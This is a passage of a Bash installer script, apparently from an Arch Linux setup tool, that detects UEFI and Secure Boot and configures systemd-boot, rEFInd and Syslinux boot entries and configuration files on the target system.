_KERNEL_PARAMS_BIOS_MOD="$(echo "${_KERNEL_PARAMS_BIOS_UNMOD}" | sed -e 's# # #g' | sed -e 's# # #g')"
_KERNEL_PARAMS_UEFI_MOD="$(echo "${_KERNEL_PARAMS_UEFI_UNMOD}" | sed -e 's# # #g' | sed -e 's# # #g')"
}
# basic checks needed for all bootloaders
common_bootloader_checks() {
activate_special_devices
getrootfstype
getraidarrays
getcryptsetup
getrootflags
bootloader_kernel_parameters
}
# look for a separately-mounted /boot partition
check_bootpart() {
subdir=""
bootdev="$(mount | grep "${DESTDIR}/boot " | cut -d' ' -f 1)"
if [[ "${bootdev}" == "" ]]; then
subdir="/boot"
bootdev="${PART_ROOT}"
fi
}
# check for btrfs bootpart and abort if detected
abort_btrfs_bootpart() {
FSTYPE="$(${_LSBLK} FSTYPE ${bootdev})"
if [[ "${FSTYPE}" = "btrfs" ]]; then
DIALOG --msgbox "Error:\nYour selected bootloader cannot boot from btrfs partition with /boot on it." 0 0
return 1
fi
}
# check for nilfs2 bootpart and abort if detected
abort_nilfs_bootpart() {
FSTYPE="$(${_LSBLK} FSTYPE ${bootdev})"
if [[ "${FSTYPE}" = "nilfs2" ]]; then
DIALOG --msgbox "Error:\nYour selected bootloader cannot boot from nilfs2 partition with /boot on it." 0 0
return 1
fi
}
# check for f2fs bootpart and abort if detected
abort_f2fs_bootpart() {
FSTYPE="$(${_LSBLK} FSTYPE ${bootdev})"
if [[ "${FSTYPE}" = "f2fs" ]]; then
DIALOG --msgbox "Error:\nYour selected bootloader cannot boot from f2fs partition with /boot on it." 0 0
return 1
fi
}
uefi_mount_efivarfs() {
## Mount efivarfs if it is not already mounted
if [[ ! "$(mount | grep /sys/firmware/efi/efivars)" ]]; then
modprobe -q efivarfs
mount -t efivarfs efivarfs /sys/firmware/efi/efivars
fi
}
detect_uefi_secure_boot() {
export _DETECTED_UEFI_SECURE_BOOT="0"
if [[ "${_DETECTED_UEFI_BOOT}" == "1" ]]; then
uefi_mount_efivarfs
_SECUREBOOT_VAR_VALUE="$(efivar -p 8be4df61-93ca-11d2-aa0d-00e098032b8c-SecureBoot | tail -n -1 | awk '{print $2}')"
_SETUPMODE_VAR_VALUE="$(efivar -p 8be4df61-93ca-11d2-aa0d-00e098032b8c-SetupMode | tail -n -1 | awk '{print $2}')"
if [[ "${_SECUREBOOT_VAR_VALUE}" == "01" ]] && [[ "${_SETUPMODE_VAR_VALUE}" == "00" ]]; then
export _DETECTED_UEFI_SECURE_BOOT="1"
fi
fi
}
detect_uefi_boot() {
export _DETECTED_UEFI_BOOT="0"
[[ -e "/sys/firmware/efi" ]] && _DETECTED_UEFI_BOOT="1"
detect_uefi_secure_boot
}
do_uefi_setup_env_vars() {
if [[ "$(uname -m)" == "x86_64" ]]; then
if [[ "$(grep '_IA32_UEFI=1' /proc/cmdline 1>/dev/null)" ]]; then
export _EFI_MIXED="1"
export _UEFI_ARCH="IA32"
export _SPEC_UEFI_ARCH="ia32"
else
export _EFI_MIXED="0"
export _UEFI_ARCH="X64"
export _SPEC_UEFI_ARCH="x64"
fi
fi
}
do_uefi_common() {
do_uefi_setup_env_vars
PACKAGES=""
[[ ! -f "${DESTDIR}/usr/bin/mkfs.vfat" ]] && PACKAGES="${PACKAGES} dosfstools"
[[ ! -f "${DESTDIR}/usr/bin/efivar" ]] && PACKAGES="${PACKAGES} efivar"
[[ ! -f "${DESTDIR}/usr/bin/efibootmgr" ]] && PACKAGES="${PACKAGES} efibootmgr"
if [[ "${_DETECTED_UEFI_SECURE_BOOT}" == "1" ]]; then
[[ ! -f "${DESTDIR}/usr/share/efitools/efi/PreLoader.efi" ]] && PACKAGES="${PACKAGES} efitools"
[[ ! -f "${DESTDIR}/usr/lib/lockdown-ms/LockDown_ms.efi" ]] && PACKAGES="${PACKAGES} lockdown-ms"
fi
! [[ "${PACKAGES}" == "" ]] && run_pacman
unset PACKAGES
check_efisys_part
}
do_uefi_efibootmgr() {
uefi_mount_efivarfs
chroot_mount
if [[ "$(chroot ${DESTDIR} /usr/bin/efivar -l)" ]]; then
cat << EFIBEOF > "${DESTDIR}/efibootmgr_run.sh"
#!/usr/bin/env bash
_EFIBOOTMGR_LOADER_PARAMETERS="${_EFIBOOTMGR_LOADER_PARAMETERS}"
for _bootnum in \$(efibootmgr | grep '^Boot[0-9]' | fgrep -i "${_EFIBOOTMGR_LABEL}" | cut -b5-8) ; do
efibootmgr --quiet --bootnum "\${_bootnum}" --delete-bootnum
done
if [[ "\${_EFIBOOTMGR_LOADER_PARAMETERS}" != "" ]]; then
efibootmgr --quiet --create --disk "${_EFIBOOTMGR_DISC}" --part "${_EFIBOOTMGR_PART_NUM}" --loader "${_EFIBOOTMGR_LOADER_PATH}" --label "${_EFIBOOTMGR_LABEL}" --unicode "\${_EFIBOOTMGR_LOADER_PARAMETERS}"
else
efibootmgr --quiet --create --disk "${_EFIBOOTMGR_DISC}" --part "${_EFIBOOTMGR_PART_NUM}" --loader "${_EFIBOOTMGR_LOADER_PATH}" --label "${_EFIBOOTMGR_LABEL}"
fi
EFIBEOF
chmod a+x "${DESTDIR}/efibootmgr_run.sh"
chroot "${DESTDIR}" "/usr/bin/bash" "/efibootmgr_run.sh" &>"/tmp/efibootmgr_run.log"
mv "${DESTDIR}/efibootmgr_run.sh" "/tmp/efibootmgr_run.sh"
else
DIALOG --msgbox "Boot entry could not be created. Check whether you have booted in UEFI boot mode and create a boot entry for ${UEFISYS_MOUNTPOINT}/${_EFIBOOTMGR_LOADER_PATH} using efibootmgr." 0 0
fi
chroot_umount
unset _EFIBOOTMGR_LABEL
unset _EFIBOOTMGR_DISC
unset _EFIBOOTMGR_PART_NUM
unset _EFIBOOTMGR_LOADER_PATH
unset _EFIBOOTMGR_LOADER_PARAMETERS
}
do_apple_efi_hfs_bless() {
## Grub upstream bzr mactel branch => http://bzr.savannah.gnu.org/lh/grub/branches/mactel/changes
## Fedora's mactel-boot => https://bugzilla.redhat.com/show_bug.cgi?id=755093
DIALOG --msgbox "TODO: Apple Mac EFI Bootloader Setup" 0 0
}
do_uefi_bootmgr_setup() {
_uefisysdev="$(findmnt "${DESTDIR}/${UEFISYS_MOUNTPOINT}" | tail -n +2 | awk '{print $2}')"
_DISC="$(echo "${_uefisysdev}" | sed 's/\(.\{8\}\).*/\1/')"
UEFISYS_PART_NUM="$(${_BLKID} -p -i -s PART_ENTRY_NUMBER -o value "${_uefisysdev}")"
_BOOTMGR_DISC="${_DISC}"
_BOOTMGR_PART_NUM="${UEFISYS_PART_NUM}"
if [[ "$(cat "/sys/class/dmi/id/sys_vendor")" == 'Apple Inc.' ]] || [[ "$(cat "/sys/class/dmi/id/sys_vendor")" == 'Apple Computer, Inc.' ]]; then
do_apple_efi_hfs_bless
else
## For all the non-Mac UEFI systems
_EFIBOOTMGR_LABEL="${_BOOTMGR_LABEL}"
_EFIBOOTMGR_DISC="${_BOOTMGR_DISC}"
_EFIBOOTMGR_PART_NUM="${_BOOTMGR_PART_NUM}"
_EFIBOOTMGR_LOADER_PATH="${_BOOTMGR_LOADER_PATH}"
_EFIBOOTMGR_LOADER_PARAMETERS="${_BOOTMGR_LOADER_PARAMETERS}"
do_uefi_efibootmgr
fi
unset _BOOTMGR_LABEL
unset _BOOTMGR_DISC
unset _BOOTMGR_PART_NUM
unset _BOOTMGR_LOADER_PATH
unset _BOOTMGR_LOADER_PARAMETERS
}
do_uefi_secure_boot_preloader() {
do_uefi_common
if [[ "${_DETECTED_UEFI_SECURE_BOOT}" == "1" ]]; then
cp -r "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/preloader"
mv "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/preloader/boot${_SPEC_UEFI_ARCH}.efi" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/preloader/loader.efi"
cp -f "${DESTDIR}/usr/share/efitools/efi/PreLoader.efi" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/preloader/PreLoader.efi"
cp -f "${DESTDIR}/usr/share/efitools/efi/HashTool.efi" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/preloader/HashTool.efi"
_BOOTMGR_LABEL="PreLoader (Secure Boot)"
_BOOTMGR_LOADER_DIR="/EFI/preloader/PreLoader.efi"
do_uefi_bootmgr_setup
fi
}
do_efistub_copy_to_efisys() {
if [[ "${UEFISYS_MOUNTPOINT}" != "/boot" ]]; then
_EFISTUB_KERNEL="${VMLINUZ/linux/arch}.efi"
_EFISTUB_INITRAMFS="${INITRAMFS/linux/arch}"
! [[ -d "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch" ]] && mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/"
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_KERNEL}"
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_INITRAMFS}.img"
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_INITRAMFS}-fallback.img"
cp -f "${DESTDIR}/boot/${VMLINUZ}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_KERNEL}"
cp -f "${DESTDIR}/boot/${INITRAMFS}.img" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_INITRAMFS}.img"
cp -f "${DESTDIR}/boot/${INITRAMFS}-fallback.img" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_INITRAMFS}-fallback.img"
#######################
cat << CONFEOF > "${DESTDIR}/etc/systemd/system/efistub_copy.path"
[Unit]
Description=Copy EFISTUB Kernel and Initramfs files to EFI SYSTEM PARTITION
[Path]
PathChanged=/boot/${VMLINUZ}
PathChanged=/boot/${INTEL_UCODE}
PathChanged=/boot/${INITRAMFS}.img
PathChanged=/boot/${INITRAMFS}-fallback.img
Unit=efistub_copy.service
[Install]
WantedBy=multi-user.target
CONFEOF
cat << CONFEOF > "${DESTDIR}/etc/systemd/system/efistub_copy.service"
[Unit]
Description=Copy EFISTUB Kernel and Initramfs files to EFI SYSTEM PARTITION
[Service]
Type=oneshot
ExecStart=/usr/bin/cp -f /boot/${VMLINUZ} ${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_KERNEL}
ExecStart=/usr/bin/cp -f /boot/${INTEL_UCODE} ${UEFISYS_MOUNTPOINT}/EFI/arch/${INTEL_UCODE}
ExecStart=/usr/bin/cp -f /boot/${INITRAMFS}.img ${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_INITRAMFS}.img
ExecStart=/usr/bin/cp -f /boot/${INITRAMFS}-fallback.img ${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_INITRAMFS}-fallback.img
CONFEOF
chroot "${DESTDIR}" /usr/bin/systemctl enable efistub_copy.path
fi
###########################
_bootdev="$(findmnt "${DESTDIR}/boot" | tail -n +2 | awk '{print $2}')"
_uefisysdev="$(findmnt "${DESTDIR}/${UEFISYS_MOUNTPOINT}" | tail -n +2 | awk '{print $2}')"
UEFISYS_PART_FS_UUID="$(getfsuuid "${_uefisysdev}")"
UEFISYS_PART_FS_LABEL="$(getfslabel "${_uefisysdev}")"
UEFISYS_PART_GPT_GUID="$(getpartuuid "${_uefisysdev}")"
UEFISYS_PART_GPT_LABEL="$(getpartlabel "${_uefisysdev}")"
if [[ "${UEFISYS_MOUNTPOINT}" == "/boot" ]]; then
_KERNEL_NORMAL="/${VMLINUZ}"
_INITRD_INTEL_UCODE="/${INTEL_UCODE}"
_INITRD_NORMAL="/${INITRAMFS}.img"
_INITRD_FALLBACK_NORMAL="/${INITRAMFS}-fallback.img"
else
_KERNEL_NORMAL="/EFI/arch/${_EFISTUB_KERNEL}"
_INITRD_INTEL_UCODE="/EFI/arch/${INTEL_UCODE}"
_INITRD_NORMAL="/EFI/arch/${_EFISTUB_INITRAMFS}.img"
_INITRD_FALLBACK_NORMAL="/EFI/arch/${_EFISTUB_INITRAMFS}-fallback.img"
fi
}
do_efistub_uefi() {
do_uefi_common
bootdev=""
grubdev=""
complexuuid=""
FAIL_COMPLEX=""
USE_DMRAID=""
RAID_ON_LVM=""
common_bootloader_checks
do_efistub_copy_to_efisys
###################################
if [[ "${UEFISYS_MOUNTPOINT}" == "/boot" ]]; then
_CONTINUE="1"
else
if [[ -e "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_KERNEL}" ]] && [[ -e "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_INITRAMFS}.img" ]]; then
DIALOG --msgbox "The EFISTUB Kernel and initramfs have been copied to ${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_KERNEL} and ${UEFISYS_MOUNTPOINT}/EFI/arch/${_EFISTUB_INITRAMFS}.img respectively." 0 0
_CONTINUE="1"
else
DIALOG --msgbox "Error setting up EFISTUB kernel and initramfs in ${UEFISYS_MOUNTPOINT}." 0 0
_CONTINUE="0"
fi
fi
if [[ "${_CONTINUE}" == "1" ]]; then
DIALOG --menu "Select which UEFI Boot Manager to install, to provide a menu for the EFISTUB kernels?" 11 55 3 \
"Systemd-boot" "Systemd-boot for ${UEFI_ARCH} UEFI" \
"rEFInd" "rEFInd for ${UEFI_ARCH} UEFI" \
"NONE" "No Boot Manager" 2>${ANSWER} || CANCEL=1
case $(cat ${ANSWER}) in
"Systemd-boot") do_systemd_boot_uefi ;;
"rEFInd") do_refind_uefi;;
"NONE") return 0 ;;
esac
fi
}
do_systemd_boot_uefi() {
DIALOG --msgbox "Setting up Systemd-boot now ..." 0 0
# create directory structure, if it doesn't exist
! [[ -d "${DESTDIR}/${UEFISYS_MOUNTPOINT}/loader/entries" ]] && mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/loader/entries"
cat << GUMEOF > "${DESTDIR}/${UEFISYS_MOUNTPOINT}/loader/entries/archlinux-core-main.conf"
title Arch Linux
linux ${_KERNEL_NORMAL}
initrd ${_INITRD_INTEL_UCODE}
initrd ${_INITRD_NORMAL}
options ${_KERNEL_PARAMS_UEFI_MOD}
GUMEOF
cat << GUMEOF > "${DESTDIR}/${UEFISYS_MOUNTPOINT}/loader/entries/archlinux-core-fallback.conf"
title Arch Linux Fallback
linux ${_KERNEL_NORMAL}
initrd ${_INITRD_INTEL_UCODE}
initrd ${_INITRD_FALLBACK_NORMAL}
options ${_KERNEL_PARAMS_UEFI_MOD}
GUMEOF
cat << GUMEOF > "${DESTDIR}/${UEFISYS_MOUNTPOINT}/loader/loader.conf"
timeout 5
default archlinux-core-main
GUMEOF
uefi_mount_efivarfs
chroot_mount
chroot "${DESTDIR}" "/usr/bin/bootctl" --path="${UEFISYS_MOUNTPOINT}" install
chroot "${DESTDIR}" "/usr/bin/bootctl" --path="${UEFISYS_MOUNTPOINT}" update
chroot_umount
if [[ -e "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/systemd/systemd-boot${_SPEC_UEFI_ARCH}.efi" ]]; then
DIALOG --msgbox "You will now be put into the editor to edit loader.conf and Systemd-boot menu entry files . After you save your changes, exit the editor." 0 0
geteditor || return 1
"${EDITOR}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/loader/entries/archlinux-core-main.conf"
"${EDITOR}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/loader/entries/archlinux-core-fallback.conf"
"${EDITOR}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/loader/loader.conf"
DIALOG --defaultno --yesno "Do you want to copy ${UEFISYS_MOUNTPOINT}/EFI/systemd/systemd-boot${_SPEC_UEFI_ARCH}.efi to ${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi ?\n\nThis might be needed in some systems where efibootmgr may not work due to firmware issues." 0 0 && _UEFISYS_EFI_BOOT_DIR="1"
if [[ "${_UEFISYS_EFI_BOOT_DIR}" == "1" ]] || [[ "${_DETECTED_UEFI_SECURE_BOOT}" == "1" ]]; then
mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT"
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi" || true
cp -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/systemd/systemd-boot${_SPEC_UEFI_ARCH}.efi" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi"
do_uefi_secure_boot_preloader
fi
else
DIALOG --msgbox "Error installing Systemd-boot..." 0 0
fi
}
do_refind_uefi() {
DIALOG --msgbox "Setting up rEFInd now ..." 0 0
if [[ ! -f "${DESTDIR}/usr/bin/refind-install" ]]; then
DIALOG --msgbox "Couldn't find ${DESTDIR}/usr/bin/refind-install, installing refind-efi pkg now ..." 0 0
PACKAGES="refind-efi"
run_pacman
unset PACKAGES
fi
! [[ -d "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind" ]] && mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind/"
cp -f "${DESTDIR}/usr/share/refind/refind_${_SPEC_UEFI_ARCH}.efi" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind/refind_${_SPEC_UEFI_ARCH}.efi"
cp -r "${DESTDIR}/usr/share/refind/icons" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind/icons"
cp -r "${DESTDIR}/usr/share/refind/fonts" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind/fonts"
! [[ -d "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/tools" ]] && mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/tools/"
cp -rf "${DESTDIR}/usr/share/refind/drivers_${_SPEC_UEFI_ARCH}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/tools/drivers_${_SPEC_UEFI_ARCH}"
mv "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/tools/drivers_${_SPEC_UEFI_ARCH}"/ext2_x64.{,_}efi
_REFIND_CONFIG="${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind/refind.conf"
cp -f "${DESTDIR}/usr/share/refind/refind.conf-sample" "${_REFIND_CONFIG}"
sed 's|^#resolution 1024 768|resolution 1024 768|g' -i "${_REFIND_CONFIG}"
sed 's|^#scan_driver_dirs EFI/tools/drivers,drivers|scan_driver_dirs EFI/tools/drivers_${_SPEC_UEFI_ARCH}|g' -i "${_REFIND_CONFIG}"
sed 's|^#scanfor internal,external,optical,manual|scanfor manual,internal,external,optical|g' -i "${_REFIND_CONFIG}"
sed 's|^#also_scan_dirs boot,ESP2:EFI/linux/kernels|also_scan_dirs boot|g' -i "${_REFIND_CONFIG}"
sed 's|^#scan_all_linux_kernels|scan_all_linux_kernels|g' -i "${_REFIND_CONFIG}"
if [[ "${UEFISYS_MOUNTPOINT}" == "/boot" ]]; then
_REFIND_LINUX_CONF="${DESTDIR}/${UEFISYS_MOUNTPOINT}/refind_linux.conf"
else
_REFIND_LINUX_CONF="${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/arch/refind_linux.conf"
fi
cat << REFINDEOF > "${_REFIND_LINUX_CONF}"
"Boot with Defaults" "${_KERNEL_PARAMS_UEFI_MOD} initrd=${_INITRD_INTEL_UCODE} initrd=${_INITRD_NORMAL}"
"Boot with fallback initramfs" "${_KERNEL_PARAMS_UEFI_MOD} initrd=${_INITRD_INTEL_UCODE} initrd=${_INITRD_FALLBACK_NORMAL}"
REFINDEOF
if [[ -e "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind/refind_${_SPEC_UEFI_ARCH}.efi" ]]; then
_BOOTMGR_LABEL="rEFInd"
_BOOTMGR_LOADER_DIR="/EFI/refind/refind_${_SPEC_UEFI_ARCH}.efi"
do_uefi_bootmgr_setup
DIALOG --msgbox "refind-efi has been setup successfully." 0 0
DIALOG --msgbox "You will now be put into the editor to edit refind.conf and refind_linux.conf . After you save your changes, exit the editor." 0 0
geteditor || return 1
"${EDITOR}" "${_REFIND_CONFIG}"
DIALOG --defaultno --yesno "Do you want to copy ${UEFISYS_MOUNTPOINT}/EFI/refind/refind_${_SPEC_UEFI_ARCH}.efi to ${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi ?\n\nThis might be needed in some systems where efibootmgr may not work due to firmware issues." 0 0 && _UEFISYS_EFI_BOOT_DIR="1"
if [[ "${_UEFISYS_EFI_BOOT_DIR}" == "1" ]] || [[ "${_DETECTED_UEFI_SECURE_BOOT}" == "1" ]]; then
mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT"
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi" || true
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/refind.conf" || true
rm -rf "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/icons" || true
cp -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind/refind_${_SPEC_UEFI_ARCH}.efi" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi"
cp -f "${_REFIND_CONFIG}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/refind.conf"
cp -rf "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/refind/icons" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/icons"
do_uefi_secure_boot_preloader
fi
else
DIALOG --msgbox "Error setting up refind-efi." 0 0
fi
}
do_syslinux_common_before() {
bootdev=""
complexuuid=""
FAIL_COMPLEX=""
USE_DMRAID=""
RAID_ON_LVM=""
common_bootloader_checks
if [[ ! -f "${DESTDIR}/usr/lib/syslinux/bios/ldlinux.c32" ]]; then
DIALOG --msgbox "Couldn't find syslinux files, installing syslinux and mtools now ..." 0 0
PACKAGES="syslinux mtools"
run_pacman
# reset PACKAGES after installing
unset PACKAGES
fi
}
do_syslinux_config() {
if [[ "${_SYSLINUX_UEFI}" == "1" ]]; then
_SYSLINUX_UEFI_CONFIG_PATH="${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/syslinux/syslinux.cfg"
cat << EOF > "${_SYSLINUX_UEFI_CONFIG_PATH}"
PATH /EFI/syslinux
UI menu.c32
DEFAULT arch
PROMPT 1
TIMEOUT 100
ONTIMEOUT arch
LABEL arch
MENU LABEL Arch Linux
LINUX ${_KERNEL_NORMAL}
APPEND ${_KERNEL_PARAMS_UEFI_MOD}
INITRD ${_INITRD_INTEL_UCODE},${_INITRD_NORMAL}
LABEL arch-fallback
MENU LABEL Arch Linux Fallback
LINUX ${_KERNEL_NORMAL}
APPEND ${_KERNEL_PARAMS_UEFI_MOD}
INITRD ${_INITRD_INTEL_UCODE},${_INITRD_FALLBACK_NORMAL}
EOF
DIALOG --msgbox "You will now be put into the editor to edit syslinux.cfg . After you save your changes, exit the editor." 0 0
geteditor || return 1
"${EDITOR}" "${_SYSLINUX_UEFI_CONFIG_PATH}"
fi
if [[ "${_SYSLINUX_BIOS}" == "1" ]]; then
_SYSLINUX_BIOS_CONFIG_PATH="${DESTDIR}/boot/${SYSLINUX_DIR}/syslinux.cfg"
cat << EOF > "${_SYSLINUX_BIOS_CONFIG_PATH}"
PATH ${subdir}/${SYSLINUX_DIR}
UI vesamenu.c32
PROMPT 1
TIMEOUT 100
ONTIMEOUT arch
MENU TITLE Arch Linux
MENU BACKGROUND ${subdir}/${SYSLINUX_DIR}/splash.png
MENU WIDTH 78
MENU MARGIN 4
MENU ROWS 10
MENU VSHIFT 10
MENU TIMEOUTROW 15
MENU TABMSGROW 13
MENU CMDLINEROW 11
MENU HELPMSGROW 17
MENU HELPMSGENDROW 29
# Refer to http://syslinux.zytor.com/wiki/index.php/Doc/menu
MENU COLOR border 30;44 #40ffffff #a0000000 std
MENU COLOR title 1;36;44 #9033ccff #a0000000 std
MENU COLOR sel 7;37;40 #e0ffffff #20ffffff all
MENU COLOR unsel 37;44 #50ffffff #a0000000 std
MENU COLOR help 37;40 #c0ffffff #a0000000 std
MENU COLOR timeout_msg 37;40 #80ffffff #00000000 std
MENU COLOR timeout 1;37;40 #c0ffffff #00000000 std
MENU COLOR msg07 37;40 #90ffffff #a0000000 std
MENU COLOR tabmsg 31;40 #30ffffff #00000000 std
LABEL arch
TEXT HELP
Boot Arch Linux
ENDTEXT
MENU LABEL Arch Linux
LINUX ${subdir}/${VMLINUZ}
APPEND ${_KERNEL_PARAMS_BIOS_MOD}
INITRD ${subdir}/${INTEL_UCODE},${subdir}/${INITRAMFS}.img
LABEL arch-fallback
TEXT HELP
Boot Arch Linux Fallback
ENDTEXT
MENU LABEL Arch Linux Fallback
LINUX ${subdir}/${VMLINUZ}
APPEND ${_KERNEL_PARAMS_BIOS_MOD}
INITRD ${subdir}/${INTEL_UCODE},${subdir}/${INITRAMFS}-fallback.img
EOF
DIALOG --msgbox "You will now be put into the editor to edit syslinux.cfg . After you save your changes, exit the editor." 0 0
geteditor || return 1
"${EDITOR}" "${_SYSLINUX_BIOS_CONFIG_PATH}"
fi
}
do_syslinux_uefi() {
do_uefi_common
[[ "${_UEFI_ARCH}" == "X64" ]] && _SYSLINUX_BUILD="efi64"
[[ "${_UEFI_ARCH}" == "IA32" ]] && _SYSLINUX_BUILD="efi32"
DIALOG --msgbox "Setting up Syslinux EFI now ..." 0 0
do_syslinux_common_before
! [[ -d "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI" ]] && mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/"
cp -r "${DESTDIR}/usr/lib/syslinux/${_SYSLINUX_BUILD}" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/syslinux"
do_efistub_copy_to_efisys
if [[ -e "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/syslinux/syslinux.efi" ]]; then
_BOOTMGR_LABEL="Syslinux"
_BOOTMGR_LOADER_DIR="/EFI/syslinux/syslinux.efi"
do_uefi_bootmgr_setup
_SYSLINUX_BIOS="0"
_SYSLINUX_UEFI="1"
do_syslinux_config
_SYSLINUX_UEFI=""
_SYSLINUX_BIOS=""
DIALOG --msgbox "Syslinux EFI has been setup successfully." 0 0
DIALOG --defaultno --yesno "Do you want to copy ${UEFISYS_MOUNTPOINT}/EFI/syslinux/syslinux.efi to ${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi ?\n\nThis might be needed in some systems where efibootmgr may not work due to firmware issues." 0 0 && _UEFISYS_EFI_BOOT_DIR="1"
if [[ "${_UEFISYS_EFI_BOOT_DIR}" == "1" ]] || [[ "${_DETECTED_UEFI_SECURE_BOOT}" == "1" ]]; then
! [[ -d "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT" ]] && mkdir -p "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT"
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi"
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT"/*.c32
rm -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/syslinux.cfg"
cp -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/syslinux/syslinux.efi" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/boot${_SPEC_UEFI_ARCH}.efi"
cp -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/syslinux/syslinux.cfg" "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/syslinux.cfg"
cp -f "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/syslinux"/*.c32 "${DESTDIR}/${UEFISYS_MOUNTPOINT}/EFI/BOOT/"
do_uefi_secure_boot_preloader
fi
else
DIALOG --msgbox "Error setting up Syslinux EFI." 0 0
fi
}
## install syslinux/extlinux bios bootloader
do_syslinux_bios() {
SYSLINUX="EXTLINUX"
SYSLINUX_PROGRAM="extlinux"
SYSLINUX_DIR="syslinux"
SYSLINUX_CONF="syslinux.cfg"
SYSLINUX_OPTS=""
do_syslinux_common_before
check_bootpart
abort_nilfs_bootpart || return 1
abort_f2fs_bootpart || return 1
# extlinux only can boot from ext2/3/4 and btrfs partitions!
FSTYPE="$(${_LSBLK} FSTYPE ${bootdev})"
if ! [[ "${FSTYPE}" == "ext2" || "${FSTYPE}" == "ext3" || "${FSTYPE}" == "ext4" || "${FSTYPE}" == "btrfs" || "${FSTYPE}" == "vfat" ]]; then
DIALOG --msgbox "Error:\nCouldn't find ext2/3/4 , btrfs or vfat partition with /boot on it." 0 0
return 1
fi
# extlinux cannot boot from any raid partition, encrypted and dmraid device
if [[ "$(echo ${bootdev} | grep /dev/md*p)" || "$(echo ${bootdev} | grep /dev/mapper)" ]]; then
DIALOG --msgbox "Error:\n${SYSLINUX} cannot boot from any raid partition, encrypted or dmraid device." 0 0
return 1
fi
# check if raid1 device is used, else fail.
if [[ "$(echo ${bootdev} | grep /dev/md)" ]]; then
if ! [[ "$(mdadm --detail ${bootdev} | grep Level | sed -e 's#.*:\ ##g')" = "raid1" ]]; then
DIALOG --msgbox "Error:\n${SYSLINUX} cannot boot from non raid1 devices." 0 0
